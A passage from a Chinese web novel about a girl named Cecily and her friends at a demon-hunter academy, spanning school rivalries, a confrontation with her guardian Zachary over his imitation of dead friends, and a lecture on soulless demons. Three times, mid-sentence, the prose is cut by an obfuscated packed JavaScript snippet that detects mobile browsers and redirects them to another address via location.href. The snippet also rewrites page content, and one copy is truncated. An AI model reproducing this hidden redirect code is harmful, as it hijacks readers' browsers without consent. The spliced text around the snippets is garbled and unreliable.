克里斯黑着脸跟上到处乱跑的西塞莉，决心用半个小时不和她说话来惩罚她。 …… ……该死！她这半个小时里一次也没搭理他！ ＊ 克里斯好像生气了。 西塞莉有些不确定，因为他平常也总是这样一副臭脸，或许只是她的错觉。 “克里斯……是在生气吗？”为了以防万一，她扭头去问身旁的尼克，他一向很聪明。 尼克琥珀色的瞳仁懒懒扫她一眼，轻飘飘道：“谁知道呢——那家伙不一直都那样么。” “——西塞莉不要管克里斯啦！那家伙本来就是成天一张死人脸嘛！！” 丹尼尔挤到她面前，原本位置上的尼克被他冲撞得后退了两步，耷拉着眉眼，无言沉默。 西塞莉闻言皱眉：“丹尼尔，不要这么说，克里斯是我的朋友。” 丹尼尔依旧蛮横：“我难道就不是西塞莉的朋友了吗？！” “……”西塞莉看了一眼一旁的尼克，笃定道：“你和尼克都是我的朋友，和克里斯一样，都很重要。” “……我才不要和他们混为一谈呢！我要成为西塞莉最最最最好的朋友，要比克里斯和尼克都要更重要的那种！”他嚷道。 尼克：“……又把我忽略了么。” 38.日常 回归猎魔人学院后的生活似与往日无异。 这点在西塞莉身上同样适用。 猎魔人学院里有将近一半的学生父母职业都为猎魔人，不说每个人都经历过这种离别，但大家都不是小孩子了，对这种事都是明白的，也知道自己未来大概也会这样离开——这是猎魔人的宿命。 所有猎魔人都必须与恶魔缠斗，不是杀死恶魔就是被恶魔杀死。命运无法避免，还有要尽早适应的好。 落了一个多月的课程，西塞莉倒没有很吃力。 尼克的笔记做得很好，像是一个害怕落下功课的普通中上游学生。 这些天来，西塞莉发觉猎魔人学院的训练似乎加重了几分，这很正常，毕竟现在已经是学期末了，要是测验不合格可是要被留级的。 不过，这其中也是有几分是因为突然超标的恶魔质量吧，如果新一代的猎魔人没有培养好，上了战场也只是去给高阶恶魔塞牙缝。 生日过去后，克里斯似乎在和她闹别扭，就在她犹豫要不要确认一下的时候却又恢复了原样。 啊，果然是错觉吧，克里斯怎么可能莫名其妙闹别扭呢。 丹尼尔最近不太高兴。 这很正常，每次临近考试他都会不高兴，大型的考试时尤显焦虑不安，这次更为严重，因为在猎魔人学院的最后一年，升级考试不禁远超往届，甚至还会重新分班，丹尼尔很害怕会因此与西塞莉分开。 为了让他安心，西塞莉暂时担当起了他的私人教师，希望他能因此放松些。 即便如此，每次分开的时候，即使只是回宿舍睡觉，丹尼尔都表现得像一只有分离焦虑的小狗，依依不舍的扯着她的衣角不放，然后又表现出罹患皮肤饥渴的倾向，一个劲的往她身上贴。 青春期的男孩子总是发育得很快。 两年多过去，不止是克里斯，丹尼尔的海拔也已经远超西塞莉，这样挤过来，根本不像小时候那样像是两只相贴取暖的小动物，他简直要把她一整个人都挤进怀里了，以一种半包裹的黏着姿态。 然后被黑着脸的克里斯给撕开。 不知道为什么，克里斯不太喜欢丹尼尔，而人一般也不会喜欢讨厌自己的人，所以丹尼尔也不太喜欢克里斯——不，应该说是很讨厌了。 丹尼尔总是真诚而坦率，就连在‘讨厌’这件事上也奉行着同样的准则，丝毫不掩饰自己对于克里斯的敌意，并习惯性给西塞莉上眼药，企图让她看清克里斯的‘真面目’，远离那个‘坏东西’。 然后被克里斯听见后拉到训练场暴揍。 多亏了克里斯的言传身教，丹尼尔的理论成绩虽然时常在及格边缘徘徊，但体术实战方面居然是远超同期生平均水平的A+。 “看来克里斯也是很关心丹尼尔的嘛。” 尼克对此是这样评价的，用的是捧读的语气，睁着死鱼眼道：“因为担心朋友留级所以用这种方式来帮助他么，打是亲骂是爱啊。” 西塞莉恍然大悟：“对哦，克里斯是那种超典型的傲娇来着。他说不定早就把你们当成朋友了，只是不好意思说。” “……” 完全没有看出来他是在说反话么。 然后一脸无语表情还没来得及撤下去的尼克就被刚从训练场出来的克里斯臭着脸拖进训练场好好‘爱’了一回。 看来克里斯也是很关心尼克的嘛，知道他体术差还愿意给他当陪练，就是有的时候有些不止轻重了点。 “克里斯那家伙才没有那么好心，他就是单纯的想打我！一定是嫉妒我是西塞莉最好的朋友，小心眼的男人最下头了！！” 刚挨过揍的丹尼尔哼哼唧唧的往西塞莉身上挤，俊秀的面颊上多了好几道深刻的淤青，和白皙的肤色相映更显惊心。 他蓝眼睛里包着两泡泪，在医务室的白炽灯下晃晃悠悠欲落未落，看着特别委屈特别惹人怜爱，但依旧不忘给克里斯穿小鞋，义愤填膺的如此控诉着。 医务室的门被推开发出轻微的‘咔嗤’一声，克里斯踩着丹尼尔的话语尾声进了门，身后隔了十几米的位置是走路轻飘飘的尼克。 看来伤的不轻。 不过没关系，医务室里有会治疗魔法的医生，重伤可以很轻松的被治愈，但看他还能行动自如，估计也没伤得多重，可能连骨头都没断，看来克里斯下手还是有分寸的。 西塞莉有些出神的想，下意识朝走进来的克里斯露出一个笑来。 黑发少年脚步微顿，深黑的眼定定望着她，西塞莉不明所以的歪了歪头，与他对视着。 “……” 赶在丹尼尔即将发飙之前，克里斯朝她点了点头，走到一旁的饮水机前接了杯水。 就说克里斯来医务室干什么，原来是喝水啊，训练场的确是离医务室近的很。 话说克里斯也是真的很厉害了，连着打了两场架，却连一点伤都没受，就只是出了一层薄汗。 当然，其中大概也有丹尼尔不会玩战术，尼克体术很差的原因在。 尼克看着很惨，但没丹尼尔惨，用克里斯的话来说就是“对没有反抗心的猎物不感兴趣”，可他的脸上、胳膊上也多了好几块青紫，只是因为皮肤颜色偏深所以看着并不算严重。 “……克里斯可真喜欢打人脸啊。”尼克一边被医生按着上药一边睁着死鱼眼轻嘲。 “他已经很有分寸了。”西塞莉委婉的替克里斯说话，“骨头都没断呢。” 尼克：“……我巴不得他把我骨头打断。” 骨头断了会影响日常训练，这种情况可以请动会治疗魔法的医生，其他的一律算轻伤，上点药就得了，反正猎魔人学院的学生全都皮糙肉厚，就当长个教训。 克里斯明明可以在压制住他的那一刻就停手，但偏要往他脸上身上来几拳，泄愤似的，但又控制着力道没造成重伤，不上不下的，非让他不痛快。 丹尼尔那边也是同理。 ……真是恶劣又小心眼。 但西塞莉显然没领悟到他的意思，当看着她对着自己露出古怪又复杂的表情时尼克就知道了。 “原来尼克你……有这种癖好啊。”她欲言又止的感叹道。 “……” 啊，被误解成抖.M了呢。 ＊ 丹尼尔的升级考试有惊无险的擦线通过了。 但他却依旧忧心忡忡。 因为分班结果是要等到开学才会公布的，在此之前，他要等待一个漫长的暑假。 丹尼尔最不擅长的就是等待了。 他是个急性子的人，所有无法立刻得到答案的问题都会让他感到焦躁不安。 “没关系的。” 西塞莉安慰他：“就算不在同一个班也不要紧啊，反正等到下半学年就可以组建猎魔人小队了，到时候我们就可以一起出任务了。” 丹尼尔眼睛亮了一下，然后又很快恹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745391|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恹的垂下脑袋：“那也要分开半年多呢……” “见不到西塞莉，我会死掉的……”他忧郁道，“绝对、会死掉的。绝对。” 他决绝的重复，倔强又固执，让西塞莉也不禁开始思考半年时间是不是的确有些太长了些。 然后…… “……哪有你说的这么严重啊！！” 将被拐跑的思维拨正回来后，她哭笑不得道：“也只有上课时间会分开而已，其他时间我们还是可以待在一起啊。” 在西塞莉的安抚下，丹尼尔总算没有那么不安了——他简直要焦虑到吃不下饭了。 和往常一样，西塞莉在假期经常往隔壁扎克利家跑，但今年愈发频繁，因为家里只有她一个人。 西塞莉最讨厌寂寞了。 扎克利最近似乎在练习烘焙。 她在客厅里写作业或者看书玩游戏，外面下着在冬日罕见的雨，房间里烧着壁炉。 西塞莉听到他在厨房里乒乒乓乓进进出出的声音，混着落雨声与柴火燃烧的声音，偶有食品的甜香飘出。 西塞莉将手中的漫画倒扣在桌面上，起身往厨房的方向走。 倚靠在门框上，她看见案台前银发男人一边翻看食谱一边动作生疏的摆弄着手下材料。 “……” 看着他身上小熊印花的米黄色围裙，西塞莉露出了古怪的神色：“扎克利……你，终于不想当猎魔人了吗？” “嗯……？？” “你想找个女贵族嫁了吗？”她换了个说法。 “……你在说什么啊。” “你在学习新娘课程吗？”她耐心道。 “……滚。” 于是她便悻悻然闭了嘴，心里还念着刚刚的漫画剧情，也就不再管扎克利学甜品烘焙是为什么了——反正她就在这儿，好吃的做出来了肯定有她一份。 扎克利会做饭，而且厨艺相当不错。这是他在成为孤儿后被迫养成的，之前还听他用玩笑般的语气说自己曾因为厨艺太差食物中毒进过医院。 ——这真是不可思议。 西塞莉印象中的扎克利是表面不靠谱的靠谱成年人，虽然经常开一些不着边际的玩笑、做一些初级学院小孩一样幼稚的举动，但关键时刻总归是靠得住的。 ‘因为厨艺太差食物中毒把自己吃进医院’这种好像只会在搞笑漫里出现的剧情发生在他身上，多少显得有些违和。 不过似乎也没必要思考这些，毕竟每个人都曾经是孩子嘛。就算是扎克利，也是从孩子长成的。 “尝尝看？” 熟悉的声音自身侧响起，被雨声壁炉声那些白噪音弄得昏昏欲睡的西塞莉猛然清醒，鼻尖动了动，嗅到熟悉的甜香。 她眨了眨眼，看到一盘色泽诱人的巧克力曲奇被放到了自己面前的桌子上，散发着甘美可人的甜香。 扎克利说：“我可是好不容易才做出来的呢。” 西塞莉揉了揉眼，慢悠悠地打了个哈欠：“唔……曲奇不是很容易做吗？难道扎克利在这方面其实并不擅长么……” 话语的尾音伴着被咬下的曲奇被吞入口腔。 “……” 她慢吞吞地将那块曲奇吃光。 咀嚼，吞咽，动作慢条斯理，然后转头用那双过于透彻的眼去打量一旁轻微低下头以至于叫人看不清神色的银发男人，语调困惑道： “扎克利，你是在模仿她吗？” 39.模仿秀 食物这种东西很奇妙。 它是一瞬即过的，停留在化开在味蕾的几息的体验，似乎只被记录在大脑内的厚书的一个角落，随时有可能被其他更重要的东西挤掉——西塞莉以为那些对自己并不重要的人事就应该这样发展，直到被遗忘，再被其他东西填补。 但人的记忆很奇妙，有些东西是不会像她以为的那样被轻易遗失的。 曲奇这种东西，做法并不难，适合烘焙入门的新手练习。而这种做法简单的东西，就算配方不同，味道也大同小异，但耐不住西塞莉味觉灵敏，一下子就察觉到了不对劲。 她看向身体骤然僵住的银发男人，重复：“是在模仿卡蜜拉么？” “我……” 他张嘴吐出一个短暂的音节，又突然顿住，像是在努力组织语言那样停顿了好一会儿，但最后还是什么都吐不出来。 “……对不起。” 最后，他低声道。 西塞莉静默着，然后轻轻的问：“为什么要道歉呢？” “我……不知道……” “……” 她低下头，半晌，扎克利听到清脆的咀嚼声，是西塞莉在吃他做的曲奇。 一个接着一个，西塞莉将那盘巧克力曲奇全部吃掉，末了端起一旁印着粉蔷薇的白瓷茶杯，抿了口半凉的红茶。 咔嚓，轻微的一声瓷器相交的声响，是她将茶杯放回了托盘。 “扎克利……” 他听见她叹息一般的叫他的名字，睫毛颤了颤，但却并不敢抬头，眼瞳依旧出神地盯着面前地毯上的花纹，直到一双被白色羊绒袜包裹的脚悄无声息的出现在眼前。 “可以抬头吗？” 少女的声音柔软轻灵，似乎很有礼貌的问道，但扎克利却看见她的手缓缓靠近，微凉的手指触上他的脸颊，轻柔而不容抗拒的扶着他的下颌用力。 扎克利顺势抬头，姿态温驯，却仍不去看她，逃避般撇开视线：“……怎么又不穿鞋……会生病的。” “……” 西塞莉没有说话，一室静谧。 窗外的落雨声响着，壁炉里燃烧着碳火。 然后，“噼啪”一声，响得不合时宜，是木质纤维因高温迸裂的声音。 像是暂停键被重新按开，西塞莉终于有了其他动作。 “扎克利……” 她又喊他的名字。但也只是喊名字。 她像是还没想好要说什么般缓缓停住，尾音打着卷儿消失。 然后，她倏然张开虎口，卡住他的下巴，叫他转过脸来直面自己。 阴雨天里，太阳躲进云层，于是世界就被蒙上了黑纱。 西塞莉要看书，所以屋里开了灯。 西塞莉要看他，一站一坐的姿势，他便要抬头，明亮的白炽灯照进眼里，他骤然急促地颤了颤睫毛。 他的睫毛与发同色，是一种美丽的银白，平日懒懒散散地垂着，遮住半边暗绿的眼瞳，此刻也没有完全睁开，纱帘般覆着眼，零星夺目而细碎的绿色透出来，瞳孔因白炽灯的亮度缩成细细一团，虹膜也显出偏浅的色调。 与艾维斯有些相像。 但艾维斯的眼睛颜色要更暖更彻，是阳光下剔透的橄榄石。而扎克利的眼睛，硬要形容的话，是浸了水又结了冰的芭蕉叶，即使是在光下，也只是被冻在河底、爬满石块的藓类植物。 “你不累吗？”西塞莉问。 她看见他在白炽灯下显得苍白的睫毛颤了颤，极细微的，但在光下却无处遁形。 她视线落到他侧颊那道格格不入的疤上，动了动指尖，摩挲而过，动作很轻，但扎克利却像是被扼住要害的小动物般一样倏然僵住，她余光瞥见他苍白的手腕抽搐般颤了颤，想：他刚才差点凭战斗本能攻击她。 明明被这样冒犯地卡住下颌都没什么反应。 扎克利没有回答她。 他或许是想开口的。 西塞莉卡着他下颌时，小指侧就贴在他的颈上，是个只要她现在用个简单的切割魔法，就能要他半条小命的距离，她清晰的感受他喉结轻滚的力度，但不知道为什么，他却什么都没说，削薄的唇颜色浅淡，紧紧抿着。 简直像个任人摆布的玩偶一样。 西塞莉漫不经心的想，手下试探着用力，‘人偶’便像失去支撑般顺势倒靠上了沙发，额前的银发凌乱的散开，露出清晰又秀丽的眉眼。 西塞莉注视着他，这才发现被自己喊了好几年“大叔”的家伙其实相当年轻。 他今年多大？ 比她大十一岁的话，二十四岁？确实是风华正好的年纪。 仔细算起来，他们已经认识十年了。 孩童时期的记忆随着身体的长成模糊遗失，只留下幽灵般浅淡的影子，透过这道轻飘飘的浅影，她注视着扎克利身上几不可见的少年缩影。 “扎克利。” 她轻轻唤道，然后又停顿住，好一会儿才复开口：“我们已经认识十年了。” “仔细想来，这十年间，似乎只有你变了。” “艾维斯，卡蜜拉，丹尼尔，他们好像都没有什么变化，我也是，但只有你有。” 她语速很慢，像是在组织语言，或者整理思绪，又或者是在回忆。 “十年，这是一个很漫长的过程。按理来说，十年时间，有些变化是不足为奇的，毕竟，书上都说，时间是最无常的雕塑师，可我周围的其他人好像都没有因为它而发生什么大变化，只有你。” “只有你，扎克利。只有你。”她重复着，低头与他对视。 “……” “这是正常的吗？” 她问，眉目间是清晰的疑惑：“我记得你十年前的性格明明跟现在截然相反，” 她组织着语言，慢吞吞道：“非要说的话，是克里斯那种类型的吧？冷面天才，沉默寡言，独来独往——但你现在长成了一个……幽默活泼的大人。可我完全无法想象克里斯长大以后会变成这样子。” 她顿了顿：“你会长成这样，其实也挺叫人难以置信的。” “……” “我之前从来没有去想过这件事，因为总觉得，说不定时间就是有那么大的威力。毕竟，‘时间’与‘空间’总是连在一起的，空间魔法早在很多年前就已经被发明出来了，而所谓的‘时间魔法’却依旧毫无头绪。” “但空间魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765380|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法也很难学，是被划归到高阶魔法范围的法术，所以遥遥无期的时间魔法一定比它要更加深奥晦涩吧？那么扎克利被它根本也是无可厚非的——那时我是这么想的。” “现在，我才突然记起来，天才，是很难被改变的。” “克里斯即使经历了被灭族这种事，似乎也并没有什么改变——这当然是不可能的，人怎么可能会不会改变呢？人总是每时每刻都在根本都，更何况还是在经历了那种事之后呢。” “只不过，那改变不了他的灵魂罢了。” 说完这段话，她忍不住笑了笑：“听上去好像鸡汤啊。” 笑容很快淡去，她手指动了动，撤了下了卡住他下颌的手。但他已经适应了她的温度，骤然撤下反而叫他不适应，忍不住轻轻抿了抿唇。 但很快，西塞莉的手又重新覆上了他的面颊，两只，托着他的脸叫他必须直视她。 “灵魂不变的话，性格也就不会被改变了，除了主人主动去改变。我想，扎克利应该不是那种容易被外界改变的人吧？你没有那么脆弱。所以，是自己主动更改的吗？” 她低头与他对视，低声询问：“是在模仿吗？” “——” 西塞莉的声音很柔软，语气像是在哄小孩子般轻柔，但扎克利却像是被恐吓了孩童般急促的喘了两口，下意识想要扭头避开与西塞莉的对视，但又被对方略显强硬的掰过脸来。 “乖一点啦。” 她撒娇一般命令道，然后又凑近了些，额头抵住了他的额头。 ……避无可避。 “是模仿对吧？扎克利，你以前不是这样的。但仔细想想，你现在的样子，也挺熟悉的呢。” 她缓缓叙述，“什么时候开始爱看小说漫画呢？你之前从来不看这些的……是因为伊迪斯哥哥吗，或者艾维斯？你身边除了他俩，也就只有我喜欢那些了吧。” “性格也是呢，像是麦克老师和伊迪斯的混合，还有点像艾维斯……是巧合吗？” 她轻轻抚摸着他侧颊的疤，像是在安抚，但扎克利却无可抑制的颤抖起来。 “还有沃克哥哥的一部分对吧？你在学武器改装呢，一年级的时候改了把手枪作为我的十一岁生日礼物……还记得吗？沃克很擅长那个呢。” “我想，要是有那么多巧合的话、那就不能算是巧合了吧？” “但是，为什么？” 她缓缓重复：“为什么呢，扎克利？为什么要模仿他们呢？这样不会累吗？你难道喜欢玩模仿秀吗？” “或者……你是觉得那样才是合格的、值得信赖的人吗？你也想成为那样的人，所以才去模仿的吗？” 她垂着眼，看见扎克利没什么表情的脸——他似乎已经没有气力再去伪装自己了，被揭下的面具轻而薄，露出冷淡而茫然的真实。颊侧的疤被西塞莉的手遮覆住，白炽灯下的皮肤像是细腻的白瓷，面容端丽，隐约能窥见几分年少时冷面天才的影子。 ——西塞莉突然感到晚春细雨般浅淡而轻柔的哀伤。 “可是，这样的扎克利就已经很好了啊……” 指尖摩挲过不平的伤疤，她的声音低而轻，像是一声叹息。 40.关于恶魔 开学那一天，是扎克利送她进的魔法传送阵。 那次谈心，他几乎什么都没说，沉默着推开她，近乎落荒而逃。 不过倒也是小有成效，至少在二人独处的时候他偶尔会卸下伪装，将茫然而冷淡的真面目撒上阳光。 这很好，西塞莉希望他可以轻松些。 丹尼尔依旧惴惴不安，担心自己不能和西塞莉分到同一个班。 “放心吧。” 扎克利笑着拍了拍他的肩。 西塞莉和他对了下视线，恍然大悟，同样笑了起来：“我们一定在同一个班！” 世界上有种东西叫人脉和后门，很管用，让他们六人组分到了同一个班级。 猎魔人学院的最后一年，教的东西并不多，理论在前几年就已经说完，实力要靠实践积累，那是毕业后组成猎魔人小队的引导者负主要责任的事。 那最后一年教什么呢？ 下半学年是低级任务实战，是小队磨合，上半学年是理论巩固和心理调节。 对，就是心理调节。 恶魔这种生物，最初的诞生无可考量，总之是几千年随着上纪元覆灭、新纪元开始而诞生的。魔界、地狱、深渊——随便怎么称呼，不过官方名号还是魔界，他们就自那里诞生。 他们身上有一种名叫‘魔气’的东西，和魔法师的魔力虽只有一字之差，却是截然相反的两种力量，简而言之是一明一暗相生相克的。 魔气具有侵染性，因魔气侵染至死的人类会化为黑灰，连尸体都不剩下。西塞莉就只远远见过一眼艾维斯的尸体，只有艾维斯，想必卡蜜拉就像那样死无全尸吧。 魔气造成的伤口难以愈合，就算愈合了也会留下疤痕，难以祛除，并会经常作痛——大多数猎魔人都会这样。 光属性魔力充沛的猎魔人配合魔法医生治疗倒是有完全祛除的可能性，但很可惜，魔法医生稀少且昂贵，能掌握光属性魔法的魔法师也少得可怜。 而且，魔力还对人类精神有侵染作用，普通人类很容易被洗脑成邪教徒，成为恶魔在人间的代理人，会准备祭品将其召唤出来为非作歹。 猎魔人要好一点，因为大多数猎魔人都有魔力会魔法，再加上经常和恶魔打交道，有一定的抗性。但这抗性也不是绝对，依旧有不少猎魔人会被恶魔蛊惑成为邪教徒。 ——即使了解恶魔的本性，也难以抗拒。 恶魔总有策反他们的本事。 而作为邪教徒叛逃的猎魔人因为职业因素，比普通人更会伪装，也更会造成破坏。 没人知道他们为什么要这么做，法师塔给出的研究结论是恶魔据说修改人类心智的能力，和人类的天赋术法类似，但大多数以精神系为主，再加上魔气辅助，就算是猎魔人也难以抵抗。 但也有抵抗方法，那就是提升精神力。精神力高的猎魔人对魔气的抗性更高，或者说，精神力高的猎魔人对精神系感觉抗性更高。 但这同样不是绝对的。 法师塔研究表明，精神力高的猎魔人要比普通人类更加偏执顽固，像是深扎入土壤的根部，根深蒂固，冥顽不灵，魔法、天赋也要比普通猎魔人更出色，可一但成为邪教徒也要更加极端。 十几年前著名的‘弗卡戴歌邪教徒事件’就是一名叛徒成为邪教徒A+级猎魔人威尔顿.伊斯奇造成的。 威尔顿的叛逃毫无预兆。 他那时已经收到了公会的通告，有晋升S级的机会，如果没有叛徒，他就是第123位S级猎魔人，这个有特色的数字根本落不到艾维斯手上。 而且，他还有一个美丽贤惠的妻子和一个早早觉醒了天赋的，十岁的儿子，是那年猎魔人学院的应届生。 但在他进入猎魔人学院前，他的父亲就叛逃了。弑妻杀子，还在弗卡戴歌召唤了高阶恶魔，掀起了暴乱，最后是当时的猎魔人公会会长出手才解决。 有了那几次教训，猎魔人学院又改变了教学策略，在加强精神力训练的同时还要时时告诫学生不要被恶魔蛊惑。 “恶魔没有灵魂。” 汉森老师说， “这个概念早在你们进入猎魔人学院的第一节课就知道了，但我还是要重复一遍——恶魔，是没有灵魂的。所以，请不要对他们心软，杀死他们也不需要感到愧疚——如果你不杀掉恶魔，恶魔就会杀掉你们的家人、朋友、同胞，他们是异类，是渴望人血的怪物。” “恶魔没有灵魂，没有情感，没有伦理道德，没有善恶观念，靠本能与心情行事。” “杀死他们，不必有心理负担——这点在非人形恶魔上应该不用说，毕竟那是仅肉眼都能分辨的怪物，我要说的是人形恶魔。”他严肃地扫视着台下的学生：“人形恶魔有着和人类相近的外表，擅长模仿和蛊惑人类，但即使它学得再像，也不可以心软！恶魔根本没有情感这种东西！他们的话一个词都不可以听！！” 世界上的所有智慧生物，只有人类是拥有灵魂的，只有人类是拥有轮回的，也只有人类拥有情感。 ——这个结论是一千二百多年前的第83任法师塔首席法师翡戈契认证的。 在此之前，即使人类对非人类也有所以为也并没有认证方法。 翡戈契出身阿柯利亚大陆南部的少数民族，据说双生子弟弟还是那时族内的新任祭祀，很擅长灵魂魔法——当然，灵魂魔法一直是禁术，那时也不例外。 灵魂是不容许被亵渎的，灵魂魔法自被偶然研究出来的那一刻，就被划归进了禁术的范畴。 但翡戈契阁下的天赋与灵魂有关，并热衷于研究非人类，据说曾研究过那时还没有彻底灭绝的精灵和被逮捕处理的人形恶魔，还有兽人、海妖和一些其他物种。 虽然这些非人物种时至今日除了恶魔之外都所剩无几：精灵灭绝，海妖濒危，兽人隐世，只有恶魔依旧猖狂，逮到封印裂缝就钻出来违祸世间。 没有灵魂就无法产生情感——这条也是翡戈契阁下证实的。 精灵和恶魔的诞生不依附性与肉.体，精灵是世界树上果实，恶魔是深渊的魔气成型。 而海妖和兽人这种，繁殖倚靠本能，没有情感支撑，而且繁衍本能随着精神的强大越来越强弱，这也是他们濒危的主要原因。 但在那么多种族之中，恶魔又是最特别那个。 没有灵魂代表没有情感，没有情感又导致他们欲望薄弱——精灵就是典型代表，海妖除去繁衍本能也是这样，兽人只要不见血也是大同小异。但恶魔不一样。 他们虽然没有灵魂和感情，却拥有欲望，是贪婪而邪恶的，而且对人类抱有恶意——他们嫉妒人类拥有可以轮回的灵魂，即使人类的寿命要比他们那些长生种短不知多少。 但那可是永恒的灵魂啊！纵使因外力溃散也会在千年内重新凝聚然后归于轮回！！ ——怎么不值得嫉妒呢？ 恶魔天生就拥有那些情绪，对人类抱有无限恶意。 他们会诱哄人类与自己签订契约——灵魂契约，而作为没有灵魂非人物种，人类与他们签订在自己族群群中最至高无上的契约也是毫无效用的。 他们是天生的诈骗犯。 人类交出了自己灵魂，在那个恶魔被杀死之前都会被他们恶毒的限制灵魂，入不了轮回，而恶魔的契约却只刻在肉.体，并且地狱有发明解除肉.体诅咒的魔器。 这是个只对恶魔有益的契约——满足了他们的变态收集癖。 虽说非人形恶魔是人形恶魔的两倍，但这只是和非人形恶魔相比。实际上，人形恶魔的数量也不少，并且比非人形恶魔还要难缠。他们拥有思想，善于伪装，一只B级人形恶魔的逮捕难度甚至比A级非人形恶魔的猎杀难度还要高。 而就算被抓到了，他们逃脱的概率也很大，虽然没有情感也不会自主流泪，但恶魔的魔气就等同于人类的魔法，只要有脑子就可以操控，可以操控就可以做到很多事，模仿人类对他们来说得心应手。 那可怜的模样，对于善良且富有正义感的猎魔人群体杀伤力相当大，一不小心就可能中计，还有可能被反咬一口，严重的甚至会因此丧命。 总之，恶魔狡猾而不可信，没有灵魂却贪婪善妒，对人类怀有强大的恶意，。 ——这些东西早在开学第一天就讲过了，之后的课上汉森老师也经常提一嘴，每次都语气愤慨，情真意切，恨不得将所有恶魔都撕了——据说是因为他的弟弟在‘弗卡戴歌邪教徒事件’中充当了威尔顿的炮灰。 汉森老师有几次意外提到了那个早在几年前就被处以死刑、差点当上S级的男人，神色很是复杂，带着几分不解与惋惜。算算年纪，他大概是威尔顿那几届。西塞莉想他们可能是认识的。 复杂的关系。 猎魔人总觉得自己杀掉恶魔，家人朋友就安全了，却没想到杀掉自己家人的居然是昔日的同伴。 虽然感到惋惜，但这件事真的已经被说过太多遍了。 她有些百无聊赖的移开视线，看见自己侧前方的克里斯无声地打了个哈欠，他依旧是面无表情的冷淡模样，只眼角沁出了一星碎钻般的闪光，是生理眼泪。 察觉到她的视线，对方眼珠动了动，敏锐而冷冽地看过来，眼底的泪被称得像是剑刃的锋芒。看见是她，那剑才被收了鞘，剑柄上镶着的宝石蒙了水，熠熠生辉煞是好看。 克里斯朝她歪了歪头，像是在问干什么，西塞莉新奇地看一眼他还框着层生理盐水的眼，摇摇头。 ＊＊＊ 时间总是过得很快，一睁眼就到了该填组队表的日子。 跟丹尼尔是说好了的，所以申请表上早早写了他俩的名字。但自猎魔人学院的引导者规定建立至今，猎魔人小队的固定人数一直是三人，就算有牺牲也会被很快补上。 玛蒂尔达和苏菲亚的关系一直很好，两年前因为克里斯的事闹掰过一次又和好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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引导者在三天后就分配下来了，是一个很熟悉的人。 扎克利笑着摸了摸她的头，狡黠道：“我跟新任会长关系还不错。” ……又走后门了。 西塞莉沉痛：“你已经变成糟糕的大人了么。” 距离成为正式猎魔人还有半学期，这半学期里，队伍组好后要出去接一些简单的任务磨合。 西塞莉倒觉得这些任务还不如不做。 ……帮老奶奶寻找丢失钱包这种事怎么都算不上历练吧？团队磨合靠这个真的可以吗？？ 总之，在做了一个月低级佣兵和人民警察的工作后，西塞莉他们终于接到了绞杀恶魔的任务。 当然，是最低级的那种。 很轻松，甚至没有和克里斯打架耗费的气力大，叫她很是失望。 “这算什么嘛！”她抬脚踹了踹那只死老鼠一样的魔物，抱怨：“这根本不是恶魔——猎魔人不应该杀恶魔吗？” “你还不是正式猎魔人呢……现在算是实习生？”扎克利按了按她的肩膀，悠悠：“还得接一段时间这种任务——要让你们这些小朋友慢慢适应魔气和任务，等毕业后转正就可以绞杀恶魔了。” “好吧……” ＊＊＊ 骗子！就算毕业转正了也还是只能接到低级任务！！！ 毕业后一连接了两个月低级任务，只绞杀过三只D级恶魔西塞莉正愤愤用勺子给樱桃蛋糕分.尸。 “我觉得还好啊。”丹尼尔咬着叉子含糊：“这段时间和西塞莉一起去了好多地方呢！” “这些任务，根本不会让我们变强。”克里斯冷声。 “倒也不是能不能变强的问题啦……只是实在是有点无聊，也跟我之前想象的职业猎魔人不太一样。”西塞莉叹了口气。 “对了。”她看向克里斯，“你天赋掌握的怎么样？” 克里斯的天赋总有有个结果了。在从猎魔人学院毕业前的前一个月，他的天赋术法确认为肢体操纵。 尽管西塞莉觉得这是个很酷的能力，但克里斯却似乎对此并不满意。 西塞莉想他可能想要一个精神系的天赋，毕竟斯科特一族似乎是精神系出的比较多。 而且肢体操纵听上去很厉害，但用起来还是不太顺手的，想要同时操纵两具身体的难度还真是不算小。 为了掌控它，克里斯在任务之余也会时常联系——当然不是在人身上，没有人愿意把身体交给别人，就算是西塞莉……西塞莉觉得，如果他愿意撒娇，还是可以考虑一下的。 她真的很像看他撒娇，像是恋爱小说里写的那样。 毕竟，虽然已经建立了恋爱关系，克里斯却还没有做过那样的举动。